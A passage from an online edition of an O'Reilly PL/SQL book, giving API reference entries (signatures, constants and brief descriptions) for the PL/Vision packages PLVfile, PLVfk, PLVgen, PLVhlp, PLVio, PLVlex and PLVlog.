RETURN VARCHAR2;

Returns the nth line from the specified file. This program opens, reads from, and closes the file.

FUNCTION infile
(loc_in IN VARCHAR2,
file_in IN VARCHAR2,
text_in IN VARCHAR2,
nth_in IN INTEGER := 1,
start_line_in IN INTEGER := 1,
end_line_in IN INTEGER := 0,
ignore_case_in IN BOOLEAN := TRUE)
RETURN INTEGER;

UTL_FILE-version of INSTR. Finds the nth appearance of a string (text_in) within the specified range of lines.

FUNCTION infile
(file_in IN VARCHAR2,
text_in IN VARCHAR2,
nth_in IN INTEGER := 1,
start_line_in IN INTEGER := 1,
end_line_in IN INTEGER := 0,
ignore_case_in IN BOOLEAN := TRUE)
RETURN INTEGER;

UTL_FILE-version of INSTR. Finds the nth appearance of a string (text_in) within the specified range of lines. In this version you do not have to provide the location of the file separately from the name.

5.11.10 Writing to a file

PROCEDURE put_line
(file_in IN UTL_FILE.FILE_TYPE,line_in IN VARCHAR2);

Adds a line to the end of the specified file (by file handle). This file must already be opened for write or append access.

PROCEDURE append_line (file_in IN VARCHAR2, line_in IN VARCHAR2);

Add a line to the end of the specified file. This program opens the file for append access, writes to the file using put_line, and then closes the file.

5.11.11 Copying a file

PROCEDURE fcopy
(ofile_in IN VARCHAR2, nfile_in IN VARCHAR2,
start_in IN INTEGER := 1, end_in IN INTEGER := NULL);

Copies the contents of the old file (ofile_in) to the new file (nfile_in) for all lines within the specified range.

PROCEDURE file2pstab
(file_in IN VARCHAR2,
table_inout IN OUT PLVtab.vc2000_table,
rows_out OUT INTEGER);

Copies the contents of the file to the PL/SQL table.

PROCEDURE file2list (file_in IN VARCHAR2, list_in IN VARCHAR2);

Copies the contents of the file to the PLVlst list specified by the list name.

PROCEDURE pstab2file
(table_in IN PLVtab.vc2000_table,
rows_in IN INTEGER,
file_in IN VARCHAR2,
mode_in IN VARCHAR2 := c_write);

Copies the contents of the PL/SQL table to a file. You can open the file in either write mode or append mode (in which case the rows are added to the current contents of the file).

5.11.12 Displaying the contents of a file

PROCEDURE display
(file_in IN UTL_FILE.FILE_TYPE,
header_in IN VARCHAR2 := NULL,
start_in IN INTEGER := 1,
end_in IN INTEGER := NULL);

Displays the contents of the file (specified by file handle) using the p.l procedure. This version of display assumes that the file has been opened.

PROCEDURE display
(file_in IN VARCHAR2,
header_in IN VARCHAR2 := NULL,
start_in IN INTEGER := 1,
end_in IN INTEGER := NULL);

Displays the contents of the file (specified by file name using the p.l procedure. This version of display assumes that the file must be opened before reading the contents.

5.11.13 Miscellaneous operations

PROCEDURE parse_name
(file_in IN VARCHAR2, loc_out IN OUT VARCHAR2,
name_out IN OUT VARCHAR2);

Parses a file specification (directory, name, and extension) into two separate strings: the location or directory and the file name itself.

Previous: 5.10 PLVexc: Exception Handling | Advanced Oracle PL/SQL Programming with Packages | Next: 5.12 PLVfk: Foreign Key Interface
5.10 PLVexc: Exception Handling | Book Index | 5.12 PLVfk: Foreign Key Interface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.12 PLVfk: Foreign Key Interface

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.12 PLVfk: Foreign Key Interface

The PLVfk (PL/Vision Foreign Key) package is a high-level, easy-to-use interface to look up foreign key information in your tables. See Chapter 19 for details.

5.12.1 Package Constants

c_prefix CONSTANT VARCHAR2(1) := 'P';

Specifies that the column abbreviation is to be used as a prefix.

c_suffix CONSTANT VARCHAR2(1) := 'S';

Specifies that the column abbreviation is to be used as a suffix.

c_no_change CONSTANT VARCHAR2(10) := 'NO CHANGE';

Used to indicate that no change is to be made to the string value.

c_int_no_change CONSTANT INTEGER := 0;

Used to indicate that no change is to be made to the INTEGER value.

5.12.2 Setting the PLVfk configuration

PROCEDURE set_vclen (length_in IN INTEGER);

Sets the default VARCHAR2 length for the foreign key named retrieved by the PLVfk.name function.

PROCEDURE set_id_default
(string_in IN VARCHAR2 := c_no_change,
type_in IN VARCHAR2 := c_no_change);

Sets the default value to be used as the suffix or prefix of the name for the ID column.

PROCEDURE set_nm_default
(string_in IN VARCHAR2 := c_no_change,
type_in IN VARCHAR2 := c_no_change);

Sets the default value to be used as the suffix or prefix of the name for the name column.

5.12.3 Looking up the name

FUNCTION name
   (fk_id_in IN INTEGER,
    fk_table_in IN VARCHAR2,
    fk_id_col_in IN VARCHAR2 := c_no_change,
    fk_nm_col_in IN VARCHAR2 := c_no_change,
    max_length_in IN INTEGER := c_int_no_change,
    where_clause_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

Retrieves the name for the specified table and ID.

5.12.4 Looking up the ID

FUNCTION id
   (fk_nm_in IN VARCHAR2,
    fk_table_in IN VARCHAR2,
    fk_id_col_in IN VARCHAR2 := c_no_change,
    fk_nm_col_in IN VARCHAR2 := c_no_change,
    max_length_in IN INTEGER := c_int_no_change,
    where_clause_in IN VARCHAR2 := NULL)
RETURN INTEGER;

Retrieves the ID (primary key) for the specified table and name or descriptor.

Previous: 5.11 PLVfile: Operating System I/O Manager | Advanced Oracle PL/SQL Programming with Packages | Next: 5.13 PLVgen: PL/SQL Code Generator
5.11 PLVfile: Operating System I/O Manager | Book Index | 5.13 PLVgen: PL/SQL Code Generator
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.13 PLVgen: PL/SQL Code Generator

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.13 PLVgen: PL/SQL Code Generator

The PLVgen (PL/Vision GENerator) package provides a set of procedure you can use to generate your own PL/SQL code. See Chapter 16, PLVgen: Generating PL/SQL Programs for details.

5.13.1 Package constants

c_indent CONSTANT INTEGER := 0;

The default initial indentation of generated code.

c_incr_indent CONSTANT INTEGER := 3;

The default incremental indentation of generated code.

c_literal CONSTANT CHAR(1) := '=';

The character used to indicate that the default value for the string function is not to be evaluated before placing in the function definition.

c_def_length CONSTANT INTEGER := 100;

The default length for a string function's local variable.

c_none CONSTANT VARCHAR2(1) := 'N';

Indicates that no blank lines are to be placed before or after the current line of code.

c_before CONSTANT VARCHAR2(1) := 'B';

Indicates that a blank line is to be placed before the current line of code.

c_after CONSTANT VARCHAR2(1) := 'A';

Indicates that a blank line is to be placed after the current line of code.

c_both CONSTANT VARCHAR2(2) := 'BA';

Indicates that a blank line is to be placed both before and after the current line of code.

5.13.2 Setting the indentation

PROCEDURE set_indent
(indent_in IN NUMBER,
incr_indent_in IN NUMBER := c_incr_indent);

Sets the initial and incremental indentation.

FUNCTION indent RETURN NUMBER;

Returns the current value for initial indentation.

FUNCTION incr_indent RETURN NUMBER;

Returns the current value for incremental indentation.

5.13.3 Setting the author

PROCEDURE set_author (author_in IN VARCHAR2);

Assigns a value for the author string used in program headers.

FUNCTION author RETURN VARCHAR2;

Returns the current author string.

5.13.4 Toggles affecting generated code

PLVgen offers a large selection of toggles or on-off switches, which you can use to modify the content of code generated by this package. Each toggle has a "turn on" procedure, a "turn off" procedure, and a function returning the current state of the toggle (on or off).

PROCEDURE usetrc;
PROCEDURE nousetrc;
FUNCTION using_trc RETURN BOOLEAN;

Controls inclusion of the PLVtrc startup and terminate procedures.

PROCEDURE useexc;
PROCEDURE nouseexc;
FUNCTION using_exc RETURN BOOLEAN;

Controls inclusion of PLVexc exception handlers in exception sections of programs.

PROCEDURE usehdr;
PROCEDURE nousehdr;
FUNCTION using_hdr RETURN BOOLEAN;

Controls inclusion of program headers in packages, procedures, and functions.

PROCEDURE usecmnt;
PROCEDURE nousecmnt;
FUNCTION using_cmnt RETURN BOOLEAN;

Controls inclusion of comment lines in generated code.

PROCEDURE usehlp;
PROCEDURE nousehlp;
FUNCTION using_hlp RETURN BOOLEAN;

Controls inclusion of help text stubs and generation of the help procedure in packages.

PROCEDURE usecor;
PROCEDURE nousecor;
FUNCTION using_cor RETURN BOOLEAN;

Controls inclusion of code required to CREATE OR REPLACE program units.

PROCEDURE useln;
PROCEDURE nouseln;
FUNCTION usingln RETURN BOOLEAN;

Controls inclusion of line numbers in prefix of generated code.

PROCEDURE usemin;

Turns off all the above toggles.

PROCEDURE usemax;

Turns on all the above toggles.

5.13.5 Help generators

PROCEDURE helpproc
(prog_in IN VARCHAR2 := NULL, indent_in IN INTEGER := 0);

Generates a procedure that gives main-topic help for the specified program unit.

PROCEDURE helptext (context_in IN VARCHAR2 := PLVhlp.c_main);

Generates a comment block in the correct format to be used as online help text with the PLVhlp package.

5.13.6 Generating a package

PROCEDURE pkg (name_in IN VARCHAR2);

Generates the skeleton structure for a package's specification and body.

5.13.7 Generating a procedure

PROCEDURE proc
(name_in IN VARCHAR2,
params_in IN VARCHAR2 := NULL,
exec_in IN VARCHAR2 := NULL,
incl_exc_in IN BOOLEAN := TRUE,
indent_in IN INTEGER := 0,
blank_lines_in IN VARCHAR2 := c_before);

Generates a procedure of the specified name. You can also provide a parameter list and one or more executable lines. Finally, you can decide to include an exception section, indent the code, and perform blank-line processing.

5.13.8 Generating functions

A function has a RETURN datatype. PLVgen allows you to generate string, numeric, date, and Boolean functions. You can also supply literal and symbol default values. As a result, the func procedure is overloaded as shown:

PROCEDURE func
(name_in IN VARCHAR2,
datadesc_in VARCHAR2,
defval_in IN VARCHAR2 := NULL,
length_in IN INTEGER := c_def_length,
incl_exc_in IN BOOLEAN := TRUE);

Generates a string function (since the datatype for the datdesc_in parameter is VARCHAR2).

PROCEDURE func
(name_in IN VARCHAR2,
datadesc_in datatype,
defval_in IN datatype := NULL,
incl_exc_in IN BOOLEAN := TRUE);

Generates a function of the specified datatype, which is either NUMBER, DATE, or BOOLEAN. Notice that the default has the same datatype as the datadesc_in parameter. This is a default value that is evaluated as a literal.

PROCEDURE func
(name_in IN VARCHAR2,
datadesc_in datatype,
defval_in IN VARCHAR2,
incl_exc_in IN BOOLEAN := TRUE);

Generates a function of the specified datatype, which is either NUMBER, DATE, or BOOLEAN. Notice that the default in this version is a string. When you use this format, the default value is treated as an expression that is not evaluated.

5.13.9 Generating get-and-set routines

Get-and-set routines provide a programmatic layer of code around a private data structure. As a result, the get-and-sets or "gas" generators have associated with them a datatype. PLVgen allows you to generate string, numeric, date, and Boolean get-and-sets. You can also supply literal and symbol default values. As a result, the gas procedure is overloaded with the following flavors:

PROCEDURE gas
(name_in IN VARCHAR2,
valtype_in VARCHAR2,
defval_in IN VARCHAR2 := NULL,
length_in IN INTEGER := c_def_length);

Generates a string function (since the datatype for the datdesc_in parameter is VARCHAR2).

PROCEDURE gas
(name_in IN VARCHAR2,
valtype_in datatype,
defval_in IN datatype := NULL);

Generates get-and-sets of the specified datatype, which is either NUMBER, DATE, or BOOLEAN. Notice that the default has the same datatype as the datadesc_in parameter. This is a default value that is evaluated as a literal.

PROCEDURE gas
(name_in IN VARCHAR2, valtype_in datatype,
defval_in IN VARCHAR2);

Generates get-and-sets of the specified datatype, which is either NUMBER, DATE, or BOOLEAN. Notice that the default in this version is a string. When you use this format, the default value is an expression that is not evaluated.

PROCEDURE toggle (name_in IN VARCHAR2 := NULL);

Generates a variation of get-and-set based on a Boolean toggle. If you do not give a name, turn_on and turn_off are used as the on-off procedure names.

5.13.10 Miscellaneous code generators

PROCEDURE curdecl
(cur_in IN VARCHAR2,
ind_in IN INTEGER := 0,
table_in IN VARCHAR2 := NULL,
collist_in IN VARCHAR2 := NULL,
gen_rec_in IN BOOLEAN := TRUE);

Generates a cursor declaration with the SQL statement formatted for maximum readability.

PROCEDURE cfloop (table_in IN VARCHAR2);

Generates a cursor FOR loop and framework for a cursor declaration.

PROCEDURE recfnd (table_in IN VARCHAR2);

Generates a function that returns TRUE if a record is found, FALSE otherwise.

PROCEDURE timer (plsql_in IN VARCHAR2);

Generates a function that returns TRUE if a record is found, FALSE otherwise.

Previous: 5.12 PLVfk: Foreign Key Interface | Advanced Oracle PL/SQL Programming with Packages | Next: 5.14 PLVhlp: Online Help Architechture
5.12 PLVfk: Foreign Key Interface | Book Index | 5.14 PLVhlp: Online Help Architechture
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.14 PLVhlp: Online Help Architechture

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.14 PLVhlp: Online Help Architechture

The PLVhlp (PL/Vision HeLP) package provides an architecture with which you can build online help for your own PL/SQL programs. See Chapter 17, PLVhlp: Online Help for PL/SQL Programs for details.

5.14.1 Package constants

c_main CONSTANT CHAR(4) := 'HELP';

The keyword used to designate the main help for a program. This is the default kind of help to be shown.

c_examples CONSTANT VARCHAR2(30) := 'EXAMPLES';

The keyword used to designate the section of help displaying examples for a program. Other keywords can be added to the package to support other kinds of sections.

5.14.2 Setting the page size

PROCEDURE set_pagesize (pagesize_in IN NUMBER);

Sets the number of lines of help text to be displayed before a pause. The default is 25.

FUNCTION pagesize RETURN NUMBER;

Returns the number of lines of help text to be displayed before a pause.

5.14.3 Help text stub generators

FUNCTION help_start (context_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

Returns the string needed to start a comment to be used as online help text.

FUNCTION help_end (context_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

Returns the string needed to end a comment to be used as online help text.

5.14.4 Displaying online help

PROCEDURE show (context_in IN VARCHAR2, part_in IN
VARCHAR2 := c_main);

Displays the first page of help for the specified context.

PROCEDURE more;

Displays the next page of help, if there is any.

Previous: 5.13 PLVgen: PL/SQL Code Generator | Advanced Oracle PL/SQL Programming with Packages | Next: 5.15 PLVio: Input/Output Processing
5.13 PLVgen: PL/SQL Code Generator | Book Index | 5.15 PLVio: Input/Output Processing
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.15 PLVio: Input/Output Processing

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.15 PLVio: Input/Output Processing

The PLVio (PL/Vision Input/Output) package consolidates all of the logic required to read from and write to repositories for PL/SQL source code. See Chapter 12, PLVio: Reading and Writing PL/SQL Source Code for details.

5.15.1 Package constants and exceptions

c_name PLV.plsql_identifier%TYPE := 'name';
c_type PLV.plsql_identifier%TYPE := 'type';
c_text PLV.plsql_identifier%TYPE := 'text';
c_line PLV.plsql_identifier%TYPE := 'line';
c_schema PLV.plsql_identifier%TYPE := 'owner';

The default names for the columns of the database table repository. You can override these names in calls to setsrc and settrg.

c_notset CONSTANT VARCHAR2(1) := 'U';

The value used by PLVio to detect when a repository (source or target) have not yet been set.

insert_failure EXCEPTION;

Exception raised when PLVio is unable to insert or put a line to the target repository.

5.15.2 Package records

TYPE line_type IS RECORD
(text VARCHAR2(2000) := NULL,
len INTEGER := NULL,
pos INTEGER := 1,
line INTEGER := 0, /* line # in original */
line# INTEGER := 0, /* line # for new */
is_blank BOOLEAN := FALSE,
eof BOOLEAN := FALSE,
indent INTEGER := 0,
unindent BOOLEAN := FALSE,
continuation BOOLEAN := FALSE,
blank_line_before BOOLEAN := FALSE);

The line_type record TYPE defines the structure for a line datatype in PLVio.

empty_line line_type;

Predefined empty line that can be used to initialize a line's fields.

5.15.3 Source and target repository type functions

FUNCTION file_source RETURN BOOLEAN;
FUNCTION pstab_source RETURN BOOLEAN;
FUNCTION dbtab_source RETURN BOOLEAN;
FUNCTION string_source RETURN BOOLEAN;

Returns TRUE if the current source repository matches that indicated by the name, FALSE otherwise.

FUNCTION file_target RETURN BOOLEAN;
FUNCTION pstab_target RETURN BOOLEAN;
FUNCTION dbtab_target RETURN BOOLEAN;
FUNCTION string_target RETURN BOOLEAN;
FUNCTION stdout_target RETURN BOOLEAN;

Returns TRUE if the current target repository matches that indicated by the name, FALSE otherwise.

FUNCTION nosrc RETURN BOOLEAN;
FUNCTION notrg RETURN BOOLEAN;

These functions return TRUE if the source and target repositories, respectively, have not yet been set.

FUNCTION srctype RETURN VARCHAR2;
FUNCTION trgtype RETURN VARCHAR2;

These functions return the current source and target repository types. The values returned can be matched against constants in the PLV package.

5.15.4 Managing the source repository

PROCEDURE setsrc
(srctype_in IN VARCHAR2,
name_in IN VARCHAR2 := 'user_source',
name_col_in IN VARCHAR2 := c_name,
type_col_in IN VARCHAR2 := c_type,
line#_col_in IN VARCHAR2 := c_line,
text_col_in IN VARCHAR2 := c_text,
schema_col_in IN VARCHAR2 := NULL);

This procedure sets the source repository. You provide the repository type, the name, and then, if a database table, the names of the columns in the table.

PROCEDURE initsrc
(starting_at_in IN INTEGER,
ending_at_in IN INTEGER,
where_in IN VARCHAR2 := NULL);
PROCEDURE initsrc
(starting_at_in IN VARCHAR2 := NULL,
ending_at_in IN VARCHAR2 := NULL,
where_in IN VARCHAR2 := NULL);

The initsrc procedures initialize the source after it has been set. You can provide additional information in the call to initsrc to restrict which rows are retrieved from the source, including a WHERE clause and start-end line numbers or strings.

PROCEDURE usrc
(starting_at_in IN VARCHAR2 := NULL,
ending_at_in IN VARCHAR2 := NULL,
where_in IN VARCHAR2 := NULL);
PROCEDURE usrc
(starting_at_in IN INTEGER,
ending_at_in IN INTEGER,
where_in IN VARCHAR2 := NULL);

The two usrc procedures set the source repository to the USER_SOURCE data dictionary view and then initialize the source with a call to initsrc, passing along the arguments provided to it (notice that they match those of initsrc).

PROCEDURE asrc
(starting_at_in IN VARCHAR2 := NULL,
ending_at_in IN VARCHAR2 := NULL,
where_in IN VARCHAR2 := NULL);
PROCEDURE asrc
(starting_at_in IN INTEGER,
ending_at_in IN INTEGER,
where_in IN VARCHAR2 := NULL);

The two asrc procedures set the source repository to the ALL_SOURCE data dictionary view and then initialize the source with a call to initsrc, passing along the arguments provided to it (notice that they match those of initsrc).

FUNCTION srcselect RETURN VARCHAR2;

Returns the current SELECT statement associated with the source repository. This is only relevant when the source type is a database table (PLV.dbtab).

PROCEDURE closesrc;

Closes the source repository. If a database table, the cursor is closed. If a file, the file is closed.

5.15.5 Managing the source WHERE clause

When the source type is a database table, you can manipulate the WHERE clause which identifies or restricts those rows that are read from the source table. The following constants and programs all have an impact on the WHERE clause.

c_first CONSTANT VARCHAR2(1) := 'F';
c_last CONSTANT VARCHAR2(1) := 'L';
c_before CONSTANT VARCHAR2(1) := 'B';
c_after CONSTANT VARCHAR2(1) := 'A';

These constants indicate the type of match to be performed when using the line_with and set_line_limit procedures.

PROCEDURE set_srcwhere (where_in IN VARCHAR2 := NULL);

Sets the source repository WHERE clause, either by replacing it or providing additional elements.

PROCEDURE rem_srcwhere;

Removes any additional elements that have been added to the WHERE clause.

FUNCTION line_with
(text_in IN VARCHAR2,
loc_type_in IN VARCHAR2 := c_first,
after_in IN INTEGER := NULL)
RETURN INTEGER;
FUNCTION line_with
(text_in IN VARCHAR2,
loc_type_in IN VARCHAR2 := c_first,
after_in IN VARCHAR2,
after_loc_type_in IN VARCHAR2 := c_first)
RETURN INTEGER;

The line_with functions return the line number associated with the values passed to them. They answer questions like "What is the first line in the PLVvu package containing `IF'?" and "What is the last line in the PLV package containing `CONSTANT' that comes after the string `VARCHAR2'?"

PROCEDURE set_line_limit
(line_in IN INTEGER, loc_type_in IN VARCHAR2 := c_first);

Adds an element to the WHERE clause of the source repository restricting the text retrieved by a line number.

PROCEDURE rem_line_limit (line_in IN INTEGER);

Use this procedure to remove from the WHERE clause an element added by set_line_limit.

5.15.6 Managing the target repository

target_table PLVtab.vc2000_table;

The PL/SQL table that contains the code when the target is set to PL/SQL table.

target_row BINARY_INTEGER;

The number of rows in the target PL/SQL table.

PROCEDURE settrg
(trgtype_in IN VARCHAR2,
name_in IN VARCHAR2 := 'PLV_source',
target_name_col_in IN VARCHAR2 := 'name',
trgtype_col_in IN VARCHAR2 := 'type',
target_line#_col_in IN VARCHAR2 := 'line',
target_text_col_in IN VARCHAR2 := 'text');

Sets the target and, if a database table, the structure of the table containing the text. This program also calls inittrg (not so with the source repository).

PROCEDURE disptrg
(header_in IN VARCHAR2 := NULL,
start_in IN INTEGER := 1,
end_in IN INTEGER := target_row,
type_in IN VARCHAR2 := trgtype);

Displays the contents of the target repository. The second and third arguments apply to PL/SQL tables and file repositories only. The fourth argument allows you to override the current target type to display the contents of another type repository.

PROCEDURE inittrg;

Initializes the target repository; this is called by settrg so there is very little reason to execute this directly.

FUNCTION trgstg RETURN VARCHAR2;

Returns the string target repository. Separate lines of text in the repository are separated by a CHR(10) character.

PROCEDURE closetrg;

Closes the target repository.

PROCEDURE clrtrg
(program_name_in IN VARCHAR2 := NULL,
program_type_in IN VARCHAR2 := NULL);

Clears the specified repository. If a database table, the rows are deleted. If a string or PL/SQL table, the repository is set to NULL.

5.15.7 Reading and writing lines

The whole point of PLVio is to read from the source repository and/or write to the target repository. In PLVio lingo, this means that you get a line from the source and put a line to the target.

PROCEDURE initline
(line_inout IN OUT line_type,
text_in IN VARCHAR2 := NULL,
len_in IN INTEGER := NULL,
pos_in IN INTEGER := 1,
line#_in IN INTEGER := 0,
is_blank_in IN BOOLEAN := FALSE,
eof_in IN BOOLEAN := FALSE);

Initializes a line record (defined with the PLVio.line_type record TYPE) with the values provided in the parameter list.

PROCEDURE get_line
(line_inout IN OUT line_type,
curr_line#_in IN INTEGER := NULL);

Gets a line from the source repository and deposits it in the line record provided in the argument list.

FUNCTION rest_of_line
(line_in IN line_type, pos_in IN INTEGER := line_in.pos)
RETURN VARCHAR2;

Returns the rest of the line that has not yet been scanned, based on the current position in the line (provided by the second argument).

PROCEDURE put_line (line_in IN line_type);

Puts a line record in the target repository.

PROCEDURE put_line
(string_in IN VARCHAR2, line#_in IN INTEGER := NULL);

Puts a string in the target repository. Use this version of put_line when you are not otherwise working with a record defined with the line_type record TYPE and simply have a string to move to the repository.

5.15.8 Saving and restoring repository settings

PROCEDURE savesrc;

Requests that the current settings for the source repository be saved and then restored upon close of the (new) source (the default).

PROCEDURE nosavesrc;

Requests that saves and restores not be performed.

FUNCTION saving_src RETURN BOOLEAN;

Returns TRUE if saves and restores are being performed.

PROCEDURE savetrg;

Requests that the current settings for the target repository be saved and then restored upon close of the (new) target (the default).

PROCEDURE nosavetrg;

Requests that saves and restores for the target not be performed.

FUNCTION saving_trg RETURN BOOLEAN;

Returns TRUE if saves and restores for the target are being performed.

PROCEDURE restoresrc;

Restores the source repository to its previous value.

PROCEDURE restoretrg;

Restores the target repository to its previous value.

5.15.9 Miscellaneous PLVio programs

PROCEDURE src2trg (close_in IN BOOLEAN := TRUE);

Transfers the contents of the source repository directly to the target repository.

5.15.10 Tracing PLVio activity

PROCEDURE display;

Requests that PLVio actions be displayed as they occur.

PROCEDURE nodisplay;

Requests that PLVio actions not be displayed as they occur.

FUNCTION displaying RETURN BOOLEAN;

Returns TRUE if PLVio is displaying its actions.

Previous: 5.14 PLVhlp: Online Help Architechture | Advanced Oracle PL/SQL Programming with Packages | Next: 5.16 PLVlex: Lexical Analysis
5.14 PLVhlp: Online Help Architechture | Book Index | 5.16 PLVlex: Lexical Analysis
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.16 PLVlex: Lexical Analysis

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.16 PLVlex: Lexical Analysis

The PLVlex (PL/Vision LEXical analysis) package provides generic string-parsing extensions to PL/SQL; these extensions include an awareness of the syntax and delimiters of the PL/SQL language. See the companion disk for details.

5.16.1 Analyzing PL/SQL string content

FUNCTION is_delimiter
(character_in IN VARCHAR2, exclude_in IN VARCHAR2 := NULL)
RETURN BOOLEAN;

Returns TRUE if the string is a PL/SQL delimiter.

FUNCTION is_oneline_comment (token_in IN VARCHAR2) RETURN BOOLEAN;

Returns TRUE if the string is a single-line comment indicator (a double hyphen).

FUNCTION starts_multiline_comment (token_in IN VARCHAR2)
RETURN BOOLEAN;

Returns TRUE if the string is equal to /*, which signals the start of a multiline or block comment.

FUNCTION ends_multiline_comment (token_in IN VARCHAR2)
RETURN BOOLEAN;

Returns TRUE if the string is equal to */, which signals the end of a multiline or block comment.

5.16.2 Scanning PL/SQL strings

FUNCTION next_atom_loc
(string_in IN VARCHAR2, start_loc_in IN NUMBER)
RETURN NUMBER;

Returns the location of the beginning of the next PL/SQL atomic in the string.

PROCEDURE get_next_atomic
(line_in IN VARCHAR2,
start_pos_in IN VARCHAR2,
atomic_out OUT VARCHAR2,
new_start_pos_out OUT INTEGER,
line_len_in IN INTEGER := NULL);

Gets the next PL/SQL atomic from the string. This procedure builds upon PLVlex.next_atom_loc and several low-level PLVprs functions to scan the string from the perspective of a line of PL/SQL source code.

PROCEDURE get_next_token
(line_in IN VARCHAR2,
start_pos_in IN VARCHAR2,
token_out IN OUT VARCHAR2,
new_start_pos_out IN OUT INTEGER,
skip_spaces_in IN BOOLEAN,
line_len_in IN INTEGER := NULL,
full_qualified_name_in IN BOOLEAN := FALSE);

Gets the next PL/SQL token (which could be composed of multiple atomics) from the string.

Previous: 5.15 PLVio: Input/Output Processing | Advanced Oracle PL/SQL Programming with Packages | Next: 5.17 PLVlog: Logging Facility
5.15 PLVio: Input/Output Processing | Book Index | 5.17 PLVlog: Logging Facility
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 5] 5.17 PLVlog: Logging Facility

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

5.17 PLVlog: Logging Facility

The PLVlog (PL/Vision LOGging) package provides a powerful, generic logging facility for PL/SQL packages. See Chapter 21, PLVlog and PLVtrc: Logging and Tracing for details.

5.17.1 Package constants

c_file CONSTANT VARCHAR2(100) := 'PLV.log';

The default name of the file contains the PL/Vision log when writing to an operating system file. This can be -- and usually would be -- overridden with your own file name. It is only applicable if you are using PL/SQL Release 2.3 or above.

c_noaction CONSTANT PLV.plsql_identifier%TYPE := '*NO ROLLBACK*';

Name for rollback activity to not perform any rollback.

c_none CONSTANT PLV.plsql_identifier%TYPE := '*FULL*';

Name to indicate that a full rollback should occur.

c_default CONSTANT PLV.plsql_identifier%TYPE := '*DEFAULT*';

Name to indicate that a rollback should occur to the default savepoint.

c_last CONSTANT PLV.plsql_identifier%TYPE := '*PLVRB-LAST*';

Name to indicate that a rollback should occur to the last savepoint recorded by PLVrb.

c_PLVlogsp CONSTANT PLV.plsql_identifier%TYPE :=
'PLVlog_savepoint';

The default savepoint issued after a write to the log.

5.17.2 Controlling logging activity

PROCEDURE turn_on;

Turns on the logging activity; calls to put_line write information to the log (default).

PROCEDURE turn_off;

Turns off the log mechanism.

FUNCTION tracing RETURN BOOLEAN;

Returns TRUE if the log is active.

5.17.3 Selecting the log type

PROCEDURE sendto
(type_in IN VARCHAR2, file_in IN VARCHAR2 := NULL);

Generic program to indicate the type of log (the repository to which information will be sent). The valid types are stored in the PLV package. If you choose PLV.file, you need to also provide a file name. You can also set the log type by calling one of the following procedures.

PROCEDURE to_pstab;

Requests that the information be sent to a PL/SQL table.

PROCEDURE to_dbtab;

Requests that the information be sent to a database table.

PROCEDURE to_file (file_in IN VARCHAR2);

Requests that the information be sent to an operating system file.

PROCEDURE to_stdout;

Requests that the information be sent to standard output.

FUNCTION logtype RETURN VARCHAR2;

Returns the current log target type. This type will be one of the repository constants defined in the PLV package.

5.17.4 Writing to the log

PROCEDURE put_line
(context_in IN VARCHAR2,
code_in IN INTEGER,
string_in IN VARCHAR2 := NULL,
create_by_in IN VARCHAR2 := USER,
rb_to_in IN VARCHAR2 := c_default,
override_in IN BOOLEAN := FALSE);

Writes a line to the PLVlog repository. This version of put_line allows you to specify a full set of values for the log record.

PROCEDURE put_line
(string_in IN VARCHAR2,
rb_to_in IN VARCHAR2 := c_default,
override_in IN BOOLEAN := FALSE);

This version of put_line keeps to an absolute minimum what you have to/want to provide to write a line to the log.

5.17.5 Reading the log

PROCEDURE get_line
(row_in IN INTEGER,
context_out OUT VARCHAR2,
code_out OUT INTEGER,
string_out OUT VARCHAR2,
create_by_out OUT VARCHAR2,
create_ts_out OUT DATE);

Reads a row from the PL/SQL table log, parses the contents, and returns the individual values in the separate OUT arguments of the parameter list.

PROCEDURE display (header_in IN VARCHAR2 := 'PL/Vision Log');

Displays the contents of the current PLVlog log (either in the database table or in the PL/SQL table).

5.17.6 Managing the log

PROCEDURE clear_pstab;

Empties the PL/SQL table associated with the PLVlog mechanism.

